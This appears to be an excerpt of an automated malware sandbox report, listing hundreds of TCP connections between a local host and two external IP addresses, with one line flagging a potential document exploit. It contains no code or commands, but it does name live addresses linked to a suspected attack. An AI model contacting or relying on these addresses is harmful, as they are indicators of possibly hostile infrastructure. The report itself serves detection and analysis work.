Source: global traffic TCP traffic: 192.168.2.22:49178 -> 149.154.167.220:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
